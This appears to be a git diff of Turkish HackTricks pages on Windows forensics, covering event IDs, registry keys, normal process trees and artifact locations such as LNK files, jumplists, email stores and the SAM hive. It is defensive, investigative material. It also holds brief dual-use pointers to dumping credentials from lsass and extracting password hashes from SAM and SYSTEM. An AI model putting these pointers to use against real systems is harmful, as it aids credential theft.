- **Sistem Başlangıcı ve Kapatılması**: EventID 6005 sistemin başlatıldığını, EventID 6006 ise kapatıldığını gösterir.
#### EventID 1102:
- **Log Silme**: Güvenlik loglarının temizlenmesi, genellikle yasadışı faaliyetleri örtbas etme için bir kırmızı bayraktır.
#### USB Cihaz Takibi için Olay Kimlikleri:
- **20001 / 20003 / 10000**: USB cihazının ilk bağlantısı.
- **10100**: USB sürücü güncellemesi.
- **EventID 112**: USB cihazının takılma zamanı.
Bu oturum açma türlerini simüle etmek ve kimlik bilgisi dökme fırsatları hakkında pratik örnekler için [Altered Security'nin detaylı kılavuzuna](https://www.alteredsecurity.com/post/fantastic-windows-logon-types-and-where-to-find-credentials-in-them) başvurun.
Olay detayları, durum ve alt durum kodları, özellikle Event ID 4625'te olay nedenleri hakkında daha fazla bilgi sağlar.
### Windows Olaylarını Kurtarma
Silinmiş Windows Olaylarını kurtarma şansını artırmak için, şüpheli bilgisayarı doğrudan fişini çekerek kapatmak önerilir. **Bulk_extractor**, `.evtx` uzantısını belirten bir kurtarma aracı olarak, bu tür olayları kurtarmak için önerilir.
### Windows Olayları Aracılığıyla Yaygın Saldırıları Tanımlama
Yaygın siber saldırıları tanımlamak için Windows Olay Kimliklerini kullanma konusunda kapsamlı bir kılavuz için [Red Team Recipe](https://redteamrecipe.com/event-codes/) adresini ziyaret edin.
#### Kaba Kuvvet Saldırıları
Birden fazla EventID 4625 kaydı ile tanımlanabilir, saldırı başarılı olursa ardından bir EventID 4624 kaydı gelir.
#### Zaman Değişikliği
EventID 4616 ile kaydedilen sistem zamanındaki değişiklikler, adli analizleri karmaşıklaştırabilir.
#### USB Cihaz Takibi
USB cihaz takibi için yararlı Sistem Olay Kimlikleri, ilk kullanım için 20001/20003/10000, sürücü güncellemeleri için 10100 ve takılma zaman damgaları için DeviceSetupManager'dan EventID 112'dir.
#### Sistem Güç Olayları
EventID 6005 sistem başlangıcını, EventID 6006 ise kapanmayı gösterir.
#### Log Silme
Güvenlik EventID 1102, logların silindiğini belirtir, bu adli analiz için kritik bir olaydır.
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,101 +0,0 @@
# İlginç Windows Kayıt Defteri Anahtarları
### İlginç Windows Kayıt Defteri Anahtarları
{{#include ../../../banners/hacktricks-training.md}}
### **Windows Sürümü ve Sahibi Bilgileri**
- **`Software\Microsoft\Windows NT\CurrentVersion`** altında, Windows sürümünü, Servis Paketini, kurulum zamanını ve kayıtlı sahibin adını basit bir şekilde bulabilirsiniz.
### **Bilgisayar Adı**
- Ana bilgisayar adı **`System\ControlSet001\Control\ComputerName\ComputerName`** altında bulunur.
### **Saat Dilimi Ayarı**
- Sistem saat dilimi **`System\ControlSet001\Control\TimeZoneInformation`** içinde saklanır.
### **Erişim Zamanı Takibi**
- Varsayılan olarak, son erişim zamanı takibi kapalıdır (**`NtfsDisableLastAccessUpdate=1`**). Bunu etkinleştirmek için:
`fsutil behavior set disablelastaccess 0` kullanın.
### Windows Sürümleri ve Servis Paketleri
- **Windows sürümü**, sürümü (örneğin, Home, Pro) ve sürümünü (örneğin, Windows 10, Windows 11) belirtirken, **Servis Paketleri** düzeltmeler ve bazen yeni özellikler içeren güncellemelerdir.
### Son Erişim Zamanını Etkinleştirme
- Son erişim zamanı takibini etkinleştirmek, dosyaların en son ne zaman açıldığını görmenizi sağlar; bu, adli analiz veya sistem izleme için kritik olabilir.
### Ağ Bilgileri Detayları
- Kayıt defteri, **ağ türleri (kablosuz, kablolu, 3G)** ve **ağ kategorileri (Genel, Özel/Ev, Alan/İş)** dahil olmak üzere ağ yapılandırmaları hakkında kapsamlı veriler tutar; bu, ağ güvenlik ayarlarını ve izinlerini anlamak için hayati öneme sahiptir.
### İstemci Tarafı Önbellekleme (CSC)
- **CSC**, paylaşılan dosyaların kopyalarını önbelleğe alarak çevrimdışı dosya erişimini artırır. Farklı **CSCFlags** ayarları, hangi dosyaların ve nasıl önbelleğe alınacağını kontrol eder, bu da performansı ve kullanıcı deneyimini etkiler, özellikle kesintili bağlantıların olduğu ortamlarda.
### Otomatik Başlatılan Programlar
- Çeşitli `Run` ve `RunOnce` kayıt defteri anahtarlarında listelenen programlar, başlangıçta otomatik olarak başlatılır, bu da sistemin önyükleme süresini etkiler ve kötü amaçlı yazılım veya istenmeyen yazılımları tanımlamak için ilgi noktaları olabilir.
### Shellbags
- **Shellbags**, yalnızca klasör görünüm tercihlerini saklamakla kalmaz, aynı zamanda klasör artık mevcut olmasa bile klasör erişiminin adli kanıtını sağlar. Diğer yollarla belirgin olmayan kullanıcı etkinliğini ortaya çıkardığı için soruşturmalar için değerlidir.
### USB Bilgileri ve Adli Analiz
- Kayıt defterinde saklanan USB cihazlarıyla ilgili detaylar, bir bilgisayara hangi cihazların bağlandığını izlemeye yardımcı olabilir ve potansiyel olarak bir cihazı hassas dosya transferleri veya yetkisiz erişim olaylarıyla ilişkilendirebilir.
### Hacim Seri Numarası
- **Hacim Seri Numarası**, dosya sisteminin belirli bir örneğini izlemek için kritik olabilir; bu, dosya kökeninin farklı cihazlar arasında belirlenmesi gereken adli senaryolar için yararlıdır.
### **Kapatma Detayları**
- Kapatma zamanı ve sayısı (ikincisi yalnızca XP için) **`System\ControlSet001\Control\Windows`** ve **`System\ControlSet001\Control\Watchdog\Display`** içinde saklanır.
### **Ağ Yapılandırması**
- Ayrıntılı ağ arayüzü bilgileri için **`System\ControlSet001\Services\Tcpip\Parameters\Interfaces{GUID_INTERFACE}`**'e bakın.
- İlk ve son ağ bağlantı zamanları, VPN bağlantıları dahil olmak üzere, **`Software\Microsoft\Windows NT\CurrentVersion\NetworkList`** altında çeşitli yollarla kaydedilir.
### **Paylaşılan Klasörler**
- Paylaşılan klasörler ve ayarlar **`System\ControlSet001\Services\lanmanserver\Shares`** altında bulunur. İstemci Tarafı Önbellekleme (CSC) ayarları çevrimdışı dosya erişilebilirliğini belirler.
### **Otomatik Başlatılan Programlar**
- **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Run`** gibi yollar ve `Software\Microsoft\Windows\CurrentVersion` altında benzer girişler, başlangıçta çalışacak şekilde ayarlanmış programları detaylandırır.
### **Aramalar ve Yazılan Yollar**
- Gezginde yapılan aramalar ve yazılan yollar, **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer`** altında WordwheelQuery ve TypedPaths için sırasıyla izlenir.
### **Son Belgeler ve Ofis Dosyaları**
- Erişilen son belgeler ve Ofis dosyaları, `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs` ve belirli Ofis sürüm yollarında not edilir.
### **En Son Kullanılan (MRU) Öğeler**
- Son dosya yolları ve komutları gösteren MRU listeleri, `NTUSER.DAT` altında çeşitli `ComDlg32` ve `Explorer` alt anahtarlarında saklanır.
### **Kullanıcı Etkinliği Takibi**
- Kullanıcı Yardımcı özelliği, **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{GUID}\Count`** altında çalıştırma sayısı ve son çalıştırma zamanı dahil olmak üzere ayrıntılı uygulama kullanım istatistiklerini kaydeder.
### **Shellbags Analizi**
- Klasör erişim detaylarını ortaya çıkaran Shellbags, `USRCLASS.DAT` ve `NTUSER.DAT` altında `Software\Microsoft\Windows\Shell` içinde saklanır. Analiz için **[Shellbag Explorer](https://ericzimmerman.github.io/#!index.md)** kullanın.
### **USB Cihaz Geçmişi**
- **`HKLM\SYSTEM\ControlSet001\Enum\USBSTOR`** ve **`HKLM\SYSTEM\ControlSet001\Enum\USB`** bağlı USB cihazları hakkında zengin detaylar içerir; bunlar arasında üretici, ürün adı ve bağlantı zaman damgaları bulunur.
- Belirli bir USB cihazıyla ilişkili kullanıcı, cihazın **{GUID}**'sini arayarak `NTUSER.DAT` hives'inde tespit edilebilir.
- Son takılı cihaz ve hacim seri numarası, sırasıyla `System\MountedDevices` ve `Software\Microsoft\Windows NT\CurrentVersion\EMDMgmt` üzerinden izlenebilir.
Bu kılavuz, Windows sistemlerinde ayrıntılı sistem, ağ ve kullanıcı etkinliği bilgilerine erişim için kritik yolları ve yöntemleri özetlemektedir; açıklık ve kullanılabilirlik hedeflenmiştir.
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,106 +0,0 @@
{{#include ../../../banners/hacktricks-training.md}}
## smss.exe
**Oturum Yöneticisi**.\
Oturum 0, **csrss.exe** ve **wininit.exe** (**OS** **hizmetleri**) başlatırken, Oturum 1 **csrss.exe** ve **winlogon.exe** (**Kullanıcı** **oturumu**) başlatır. Ancak, süreçler ağacında **çocukları olmayan** bu **ikili** dosyadan **yalnızca bir süreç** görmelisiniz.
Ayrıca, 0 ve 1 dışındaki oturumlar RDP oturumlarının gerçekleştiğini gösterebilir.
## csrss.exe
**İstemci/Sunucu Çalışma Alt Sistemi Süreci**.\
**Süreçleri** ve **iş parçacıklarını** yönetir, diğer süreçler için **Windows** **API**'sini kullanılabilir hale getirir ve ayrıca **sürücü harflerini** eşler, **geçici dosyalar** oluşturur ve **kapatma** **sürecini** yönetir.
Oturum 0'da bir tane ve Oturum 1'de bir tane **çalışıyor** (yani süreçler ağacında **2 süreç**). Her yeni oturum için bir tane daha oluşturulur.
## winlogon.exe
**Windows Oturum Açma Süreci**.\
Kullanıcı **oturum açma**/**oturum kapama** işlemlerinden sorumludur. Kullanıcı adı ve şifre sormak için **logonui.exe**'yi başlatır ve ardından bunları doğrulamak için **lsass.exe**'yi çağırır.
Sonra, **`HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon`**'da **Userinit** anahtarı ile belirtilen **userinit.exe**'yi başlatır.
Ayrıca, önceki kayıt defterinde **explorer.exe** **Shell anahtarı** içinde olmalıdır veya **kötü amaçlı yazılım kalıcılık yöntemi** olarak kötüye kullanılabilir.
## wininit.exe
**Windows Başlatma Süreci**. \
Oturum 0'da **services.exe**, **lsass.exe** ve **lsm.exe**'yi başlatır. Yalnızca 1 süreç olmalıdır.
## userinit.exe
**Userinit Oturum Açma Uygulaması**.\
**HKCU**'da **ntduser.dat**'ı yükler ve **kullanıcı** **ortamını** başlatır, **oturum açma** **betiklerini** ve **GPO**'yu çalıştırır.
**explorer.exe**'yi başlatır.
## lsm.exe
**Yerel Oturum Yöneticisi**.\
Kullanıcı oturumlarını manipüle etmek için smss.exe ile çalışır: Oturum açma/kapama, kabuk başlatma, masaüstünü kilitleme/açma vb.
W7'den sonra lsm.exe bir hizmete (lsm.dll) dönüştürüldü.
W7'de yalnızca 1 süreç olmalıdır ve bunlardan bir hizmet DLL'yi çalıştırmalıdır.
## services.exe
**Hizmet Kontrol Yöneticisi**.\
**Otomatik başlat** olarak yapılandırılan **hizmetleri** ve **sürücüleri** **yükler**.
**svchost.exe**, **dllhost.exe**, **taskhost.exe**, **spoolsv.exe** ve daha birçok sürecin ebeveynidir.
Hizmetler `HKLM\SYSTEM\CurrentControlSet\Services`'de tanımlanır ve bu süreç, sc.exe tarafından sorgulanabilen hizmet bilgilerini bellekte tutan bir veritabanı yönetir.
**Bazı** **hizmetlerin** **kendi süreçlerinde** çalışacağını ve diğerlerinin **bir svchost.exe sürecini paylaşacağını** not edin.
Yalnızca 1 süreç olmalıdır.
## lsass.exe
**Yerel Güvenlik Otoritesi Alt Sistemi**.\
Kullanıcı **kimlik doğrulaması** için sorumludur ve **güvenlik** **jetonları** oluşturur. `HKLM\System\CurrentControlSet\Control\Lsa`'da bulunan kimlik doğrulama paketlerini kullanır.
**Güvenlik** **olay** **günlüğüne** yazar ve yalnızca 1 süreç olmalıdır.
Bu sürecin şifreleri dökmek için yüksek oranda saldırıya uğradığını unutmayın.
## svchost.exe
**Genel Hizmet Ana Bilgisayar Süreci**.\
Birden fazla DLL hizmetini tek bir paylaşılan süreçte barındırır.
Genellikle, **svchost.exe** `-k` bayrağı ile başlatılır. Bu, kayıt defterine **HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost** bir sorgu başlatır; burada -k'da belirtilen argümanla bir anahtar bulunur ve bu anahtar aynı süreçte başlatılacak hizmetleri içerir.
Örneğin: `-k UnistackSvcGroup` şunları başlatır: `PimIndexMaintenanceSvc MessagingService WpnUserService CDPUserSvc UnistoreSvc UserDataSvc OneSyncSvc`
Eğer **`-s` bayrağı** da bir argüman ile kullanılıyorsa, o zaman svchost'tan **yalnızca belirtilen hizmeti** bu argümanda başlatması istenir.
Birçok `svchost.exe` süreci olacaktır. Eğer bunlardan herhangi biri **`-k` bayrağını** kullanmıyorsa, bu çok şüphelidir. Eğer **services.exe ebeveyn değilse**, bu da çok şüphelidir.
## taskhost.exe
Bu süreç, DLL'lerden çalışan süreçler için bir ana bilgisayar görevi görür. Ayrıca DLL'lerden çalışan hizmetleri yükler.
W8'de bu taskhostex.exe olarak adlandırılır ve W10'da taskhostw.exe olarak adlandırılır.
## explorer.exe
Bu, **kullanıcının masaüstünden** ve dosyaları dosya uzantıları aracılığıyla başlatmaktan sorumlu olan süreçtir.
**Her oturum açan kullanıcı için yalnızca 1** süreç oluşturulmalıdır.
Bu, **userinit.exe**'den çalıştırılır ve sonlandırılmalıdır, böylece bu süreç için **ebeveyn** görünmemelidir.
# Kötü Amaçlı Süreçleri Yakalamak
- Beklenen yoldan mı çalışıyor? (Windows ikili dosyaları geçici konumdan çalışmaz)
- Garip IP'lerle mi iletişim kuruyor?
- Dijital imzaları kontrol edin (Microsoft belgeleri imzalanmış olmalıdır)
- Doğru yazılmış mı?
- Beklenen SID altında mı çalışıyor?
- Ebeveyn süreç beklenen mi (varsa)?
- Çocuk süreçler beklenenler mi? (cmd.exe, wscript.exe, powershell.exe..?)
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,32 +1,30 @@
# Windows Artifacts
## Windows Artifacts
{{#include ../../../banners/hacktricks-training.md}}
## Genel Windows Artifaktları
## Generic Windows Artifacts
### Windows 10 Bildirimleri
### Windows 10 Notifications
Yolda `\Users\<username>\AppData\Local\Microsoft\Windows\Notifications` veritabanı `appdb.dat` (Windows yıldönümünden önce) veya `wpndatabase.db` (Windows Yıldönümünden sonra) bulunabilir.
Bu SQLite veritabanının içinde, ilginç veriler içerebilecek tüm bildirimlerin (XML formatında) bulunduğu `Notification` tablosunu bulabilirsiniz.
### Zaman Çizelgesi
### Timeline
Zaman çizelgesi, ziyaret edilen web sayfalarının, düzenlenen belgelerin ve çalıştırılan uygulamaların **kronolojik geçmişini** sağlayan bir Windows özelliğidir.
Timeline, ziyaret edilen web sayfalarının, düzenlenen belgelerin ve çalıştırılan uygulamaların **kronolojik geçmişini** sağlayan bir Windows özelliğidir.
Veritabanı, `\Users\<username>\AppData\Local\ConnectedDevicesPlatform\<id>\ActivitiesCache.db` yolunda bulunur. Bu veritabanı bir SQLite aracıyla veya [**WxTCmd**](https://github.com/EricZimmerman/WxTCmd) aracıyla açılabilir **ve bu araç 2 dosya oluşturur, bu dosyalar** [**TimeLine Explorer**](https://ericzimmerman.github.io/#!index.md) aracıyla açılabilir.
Veritabanı, yolda `\Users\<username>\AppData\Local\ConnectedDevicesPlatform\<id>\ActivitiesCache.db` bulunur. Bu veritabanı bir SQLite aracıyla veya [**WxTCmd**](https://github.com/EricZimmerman/WxTCmd) aracıyla açılabilir **ve bu araç 2 dosya oluşturur** [**TimeLine Explorer**](https://ericzimmerman.github.io/#!index.md) aracıyla açılabilir.
### ADS (Alternatif Veri Akışları)
### ADS (Alternate Data Streams)
İndirilen dosyalar, intranet, internet vb. üzerinden **nasıl** **indirildiğini** gösteren **ADS Zone.Identifier** içerebilir. Bazı yazılımlar (tarayıcılar gibi) genellikle dosyanın indirildiği **URL** gibi **daha fazla** **bilgi** de ekler.
## **Dosya Yedekleri**
## **File Backups**
### Geri Dönüşüm Kutusu
### Recycle Bin
Vista/Win7/Win8/Win10'da **Geri Dönüşüm Kutusu**, sürücünün kökünde **`$Recycle.bin`** klasöründe bulunabilir (`C:\$Recycle.bin`).\
Vista/Win7/Win8/Win10'da **Recycle Bin** kök dizinde **`$Recycle.bin`** klasöründe bulunabilir (`C:\$Recycle.bin`).\
Bu klasörde bir dosya silindiğinde 2 özel dosya oluşturulur:
- `$I{id}`: Dosya bilgileri (silindiği tarih)
@ -42,13 +40,13 @@ Bu dosyalara sahip olduğunuzda, silinen dosyaların orijinal adresini ve silind
### Hacim Gölgesi Kopyaları
Gölge Kopyası, Microsoft Windows'ta yer alan ve bilgisayar dosyalarının veya hacimlerinin **yedek kopyalarını** veya anlık görüntülerini oluşturabilen bir teknolojidir; bu işlemi dosyalar kullanılırken bile gerçekleştirebilir.
Gölge Kopyası, Microsoft Windows'a dahil olan ve bilgisayar dosyalarının veya hacimlerinin **yedek kopyalarını** veya anlık görüntülerini oluşturabilen bir teknolojidir; bu, dosyalar kullanılırken bile mümkündür.
Bu yedekler genellikle dosya sisteminin kökünden `\System Volume Information` içinde bulunur ve adı aşağıdaki resimde gösterilen **UID'lerden** oluşur:
Bu yedekler genellikle dosya sisteminin kökünden `\System Volume Information` içinde bulunur ve isimleri aşağıdaki resimde gösterilen **UID'lerden** oluşur:
![](<../../../images/image (94).png>)
**ArsenalImageMounter** ile adli görüntüyü monte ederek, [**ShadowCopyView**](https://www.nirsoft.net/utils/shadow_copy_view.html) aracı, bir gölge kopyasını incelemek ve hatta gölge kopyası yedeklerinden **dosyaları çıkarmak** için kullanılabilir.
**ArsenalImageMounter** ile adli görüntüyü monte ederek, [**ShadowCopyView**](https://www.nirsoft.net/utils/shadow_copy_view.html) aracı bir gölge kopyasını incelemek ve hatta gölge kopyası yedeklerinden **dosyaları çıkarmak** için kullanılabilir.
![](<../../../images/image (576).png>)
@ -58,7 +56,7 @@ Kayıt defteri girişi `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Back
Kayıt defteri `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS` ayrıca `Hacim Gölgesi Kopyaları` hakkında yapılandırma bilgilerini içerir.
### Ofis Otomatik Kaydedilen Dosyalar
### Ofis Otomatik Kaydedilen Dosyaları
Ofis otomatik kaydedilen dosyalarını şurada bulabilirsiniz: `C:\Usuarios\\AppData\Roaming\Microsoft{Excel|Word|Powerpoint}\`
@ -75,11 +73,11 @@ Windows, kullanıcı bir dosyayı **açtığında, kullandığında veya oluştu
Bir klasör oluşturulduğunda, klasöre, üst klasöre ve büyük üst klasöre bir bağlantı da oluşturulur.
Bu otomatik olarak oluşturulan bağlantı dosyaları, **bir dosya** **mi** yoksa **bir klasör** **mü** olduğu gibi, dosyanın **MAC** **zamanları**, dosyanın saklandığı yerin **hacim bilgileri** ve **hedef dosyanın klasörü** gibi **kaynağa dair bilgileri** **içerir**. Bu bilgiler, dosyalar silinirse kurtarmak için faydalı olabilir.
Bu otomatik olarak oluşturulan bağlantı dosyaları, **bir dosya** **veya** **bir klasör** olup olmadığı, o dosyanın **MAC** **zamanları**, dosyanın saklandığı yerin **hacim bilgisi** ve **hedef dosyanın klasörü** gibi **kaynak hakkında bilgi** **içerir**. Bu bilgi, dosyalar silinirse kurtarmak için yararlı olabilir.
Ayrıca, bağlantı dosyasının **oluşturulma tarihi**, orijinal dosyanın **ilk** **kullanıldığı** **zamandır** ve bağlantı dosyasının **değiştirilme tarihi**, orijinal dosyanın kullanıldığı **son** **zamandır**.
Ayrıca, bağlantı dosyasının **oluşturulma tarihi**, orijinal dosyanın **ilk** **kullanıldığı** **zaman** ve bağlantı dosyasının **değiştirilme tarihi**, kaynak dosyanın en son **kullanıldığı** **zamandır**.
Bu dosyaları incelemek için [**LinkParser**](http://4discovery.com/our-tools/) aracını kullanabilirsiniz.
Bu dosyaları incelemek için [**LinkParser**](http://4discovery.com/our-tools/) kullanabilirsiniz.
Bu araçta **2 set** zaman damgası bulacaksınız:
@ -94,7 +92,7 @@ Bu araçta **2 set** zaman damgası bulacaksınız:
İlk zaman damgası seti, **dosyanın kendisine ait zaman damgalarını** referans alır. İkinci set, **bağlantılı dosyanın zaman damgalarını** referans alır.
Aynı bilgiyi Windows CLI aracı olan [**LECmd.exe**](https://github.com/EricZimmerman/LECmd) ile de alabilirsiniz.
Aynı bilgiyi Windows CLI aracı olan [**LECmd.exe**](https://github.com/EricZimmerman/LECmd) ile çalıştırarak da alabilirsiniz.
```
LECmd.exe -d C:\Users\student\Desktop\LNKs --csv C:\Users\student\Desktop\LNKs
```
@ -106,9 +104,9 @@ Bunlar, her uygulama için belirtilen son dosyalardır. Her uygulamada erişebil
Otomatik olarak oluşturulan **jumplists**, `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\` içinde saklanır. Jumplists, `{id}.autmaticDestinations-ms` formatına göre adlandırılır; burada başlangıç ID'si uygulamanın ID'sidir.
Özel jumplists, `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\CustomDestination\` içinde saklanır ve genellikle dosya ile ilgili **önemli** bir şey olduğunda uygulama tarafından oluşturulurlar (belki favori olarak işaretlenmiştir).
Özel jumplists, `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\CustomDestination\` içinde saklanır ve genellikle dosya ile ilgili **önemli** bir şey olduğunda uygulama tarafından oluşturulur (belki favori olarak işaretlenmiştir).
Herhangi bir jumplist'in **oluşturulma zamanı**, dosyanın **ilk kez erişildiği zamanı** ve **değiştirilme zamanı** son erişim zamanını gösterir.
Her jumplist'in **oluşturulma zamanı**, dosyanın **ilk kez erişildiği zamanı** ve **değiştirilme zamanı** son erişim zamanını gösterir.
Jumplists'i [**JumplistExplorer**](https://ericzimmerman.github.io/#!index.md) kullanarak inceleyebilirsiniz.
@ -136,17 +134,17 @@ WPDNSE klasöründeki dosyalar, orijinal dosyaların bir kopyasıdır, bu nedenl
### Kayıt Bilgileri
[USB bağlı cihazlar hakkında ilginç bilgileri hangi kayıt anahtarlarının içerdiğini öğrenmek için bu sayfayı kontrol edin](interesting-windows-registry-keys.md#usb-information).
[USB bağlı cihazlar hakkında ilginç bilgileri içeren kayıt anahtarlarını öğrenmek için bu sayfayı kontrol edin](interesting-windows-registry-keys.md#usb-information).
### setupapi
USB bağlantısının ne zaman gerçekleştiğine dair zaman damgalarını almak için `C:\Windows\inf\setupapi.dev.log` dosyasını kontrol edin ( `Section start` için arama yapın).
![](<../../../images/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (14) (2).png>)
![](<../../../images/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (14) (2).png>)
### USB Dedektifi
[**USBDetective**](https://usbdetective.com) bir görüntüye bağlı USB cihazları hakkında bilgi almak için kullanılabilir.
[**USBDetective**](https://usbdetective.com) bağlı USB cihazları hakkında bilgi almak için kullanılabilir.
![](<../../../images/image (452).png>)
@ -172,9 +170,9 @@ Bu yapılandırma, sürücülerin düzenli bakımını ve temizliğini sağlar v
## E-postalar
E-postalar **2 ilginç bölüm içerir: E-posta başlıkları ve içeriği**. **Başlıklarda** aşağıdaki bilgileri bulabilirsiniz:
E-postalar **2 ilginç kısım içerir: Başlıklar ve e-postanın içeriği**. **Başlıklarda** aşağıdaki bilgileri bulabilirsiniz:
- **Kim** e-postaları gönderdi (e-posta adresi, IP, e-postayı yönlendiren mail sunucuları)
- **Kim** e-postaları gönderdi (e-posta adresi, IP, e-postayı yönlendiren sunucular)
- **Ne zaman** e-posta gönderildi
Ayrıca, `References` ve `In-Reply-To` başlıkları içinde mesajların ID'sini bulabilirsiniz:
@ -185,20 +183,20 @@ Ayrıca, `References` ve `In-Reply-To` başlıkları içinde mesajların ID'sini
Bu uygulama, e-postaları HTML veya metin olarak kaydeder. E-postaları `\Users\<username>\AppData\Local\Comms\Unistore\data\3\` içindeki alt klasörlerde bulabilirsiniz. E-postalar `.dat` uzantısıyla kaydedilir.
E-postaların **meta verileri** ve **kişiler** **EDB veritabanı** içinde bulunabilir: `\Users\<username>\AppData\Local\Comms\UnistoreDB\store.vol`
E-postaların **meta verileri** ve **kişiler** `\Users\<username>\AppData\Local\Comms\UnistoreDB\store.vol` içindeki **EDB veritabanında** bulunabilir.
**Dosyanın uzantısını** `.vol`'dan `.edb`'ye değiştirin ve [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html) aracını kullanarak açabilirsiniz. `Message` tablosunda e-postaları görebilirsiniz.
Dosyanın uzantısını `.vol`'dan `.edb`'ye değiştirin ve [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html) aracını kullanarak açabilirsiniz. `Message` tablosunda e-postaları görebilirsiniz.
### Microsoft Outlook
Exchange sunucuları veya Outlook istemcileri kullanıldığında bazı MAPI başlıkları olacaktır:
- `Mapi-Client-Submit-Time`: E-postanın gönderildiği zaman sistemin zamanı
- `Mapi-Conversation-Index`: İlgili dizinin çocuk mesajlarının sayısı ve her mesajın zaman damgası
- `Mapi-Conversation-Index`: İletinin çocuk mesajlarının sayısı ve her mesajın zaman damgası
- `Mapi-Entry-ID`: Mesaj tanımlayıcısı.
- `Mappi-Message-Flags` ve `Pr_last_Verb-Executed`: MAPI istemcisi hakkında bilgi (mesaj okundu mu? okunmadı mı? yanıtlandı mı? yönlendirildi mi? ofis dışında mı?)
Microsoft Outlook istemcisinde, gönderilen/alınan tüm mesajlar, kişi verileri ve takvim verileri, aşağıdaki yolda bir PST dosyasında saklanır:
Microsoft Outlook istemcisinde, gönderilen/alınan tüm mesajlar, kişiler verileri ve takvim verileri, aşağıdaki konumda bir PST dosyasında saklanır:
- `%USERPROFILE%\Local Settings\Application Data\Microsoft\Outlook` (WinXP)
- `%USERPROFILE%\AppData\Local\Microsoft\Outlook`
@ -211,7 +209,7 @@ PST dosyasını [**Kernel PST Viewer**](https://www.nucleustechnologies.com/es/v
### Microsoft Outlook OST Dosyaları
Bir **OST dosyası**, Microsoft Outlook'un **IMAP** veya bir **Exchange** sunucusuyla yapılandırıldığında oluşturulur ve PST dosyasına benzer bilgileri saklar. Bu dosya, sunucu ile senkronize edilir, **son 12 ay** için verileri saklar ve **maksimum 50GB** boyutundadır ve PST dosyasıyla aynı dizinde bulunur. Bir OST dosyasını görüntülemek için [**Kernel OST viewer**](https://www.nucleustechnologies.com/ost-viewer.html) kullanılabilir.
Bir **OST dosyası**, Microsoft Outlook tarafından **IMAP** veya bir **Exchange** sunucusu ile yapılandırıldığında oluşturulur ve PST dosyasına benzer bilgileri saklar. Bu dosya, sunucu ile senkronize edilir, **son 12 ay** için verileri saklar ve **maksimum boyutu 50GB**'dır ve PST dosyası ile aynı dizinde bulunur. Bir OST dosyasını görüntülemek için [**Kernel OST viewer**](https://www.nucleustechnologies.com/ost-viewer.html) kullanılabilir.
### Ekleri Kurtarma
@ -222,7 +220,7 @@ Kaybolan ekler şunlardan kurtarılabilir:
### Thunderbird MBOX Dosyaları
**Thunderbird**, verileri saklamak için **MBOX dosyaları** kullanır ve bu dosyalar `\Users\%USERNAME%\AppData\Roaming\Thunderbird\Profiles` dizininde bulunur.
**Thunderbird**, verileri saklamak için **MBOX dosyaları** kullanır ve bu dosyalar `\Users\%USERNAME%\AppData\Roaming\Thunderbird\Profiles` konumundadır.
### Görüntü Küçültmeleri
@ -250,7 +248,7 @@ Kayıt dosyalarını analiz etmek için bazı araçlar faydalıdır:
### Silinen Elemanı Kurtarma
Bir anahtar silindiğinde, böyle işaretlenir, ancak kapladığı alan gerektiği sürece kaldırılmaz. Bu nedenle, **Registry Explorer** gibi araçlar kullanarak bu silinmiş anahtarları kurtarmak mümkündür.
Bir anahtar silindiğinde, böyle işaretlenir, ancak kapladığı alan gerekli olana kadar kaldırılmaz. Bu nedenle, **Registry Explorer** gibi araçlar kullanarak bu silinmiş anahtarları kurtarmak mümkündür.
### Son Yazma Zamanı
@ -258,11 +256,11 @@ Her Anahtar-Değer, en son ne zaman değiştirildiğini gösteren bir **zaman da
### SAM
**SAM** dosyası/hive, sistemin **kullanıcıları, grupları ve kullanıcı parolası** hash'lerini içerir.
**SAM** dosyası/hive, sistemin **kullanıcılar, gruplar ve kullanıcı parolaları** hash'lerini içerir.
`SAM\Domains\Account\Users` içinde kullanıcı adını, RID'yi, son giriş zamanını, son başarısız oturumu, giriş sayacını, parola politikasını ve hesabın ne zaman oluşturulduğunu elde edebilirsiniz. **Hash'leri** almak için ayrıca **SYSTEM** dosyasına/hive'ye **ihtiyacınız vardır**.
`SAM\Domains\Account\Users` içinde kullanıcı adını, RID'yi, son giriş zamanını, son başarısız oturumu, giriş sayacını, parola politikasını ve hesabın ne zaman oluşturulduğunu elde edebilirsiniz. **Hash'leri** almak için ayrıca **SYSTEM** dosyasına/hive'ye de **ihtiyacınız vardır**.
### Windows Kayıt Defteri'ndeki İlginç Girişler
### Windows Kayıt Defterindeki İlginç Girişler
{{#ref}}
interesting-windows-registry-keys.md
@ -280,7 +278,7 @@ Kayıt defteri `NTUSER.DAT` içinde `Software\Microsoft\Current Version\Search\R
### BAM (Arka Plan Etkinlik Modaratörü)
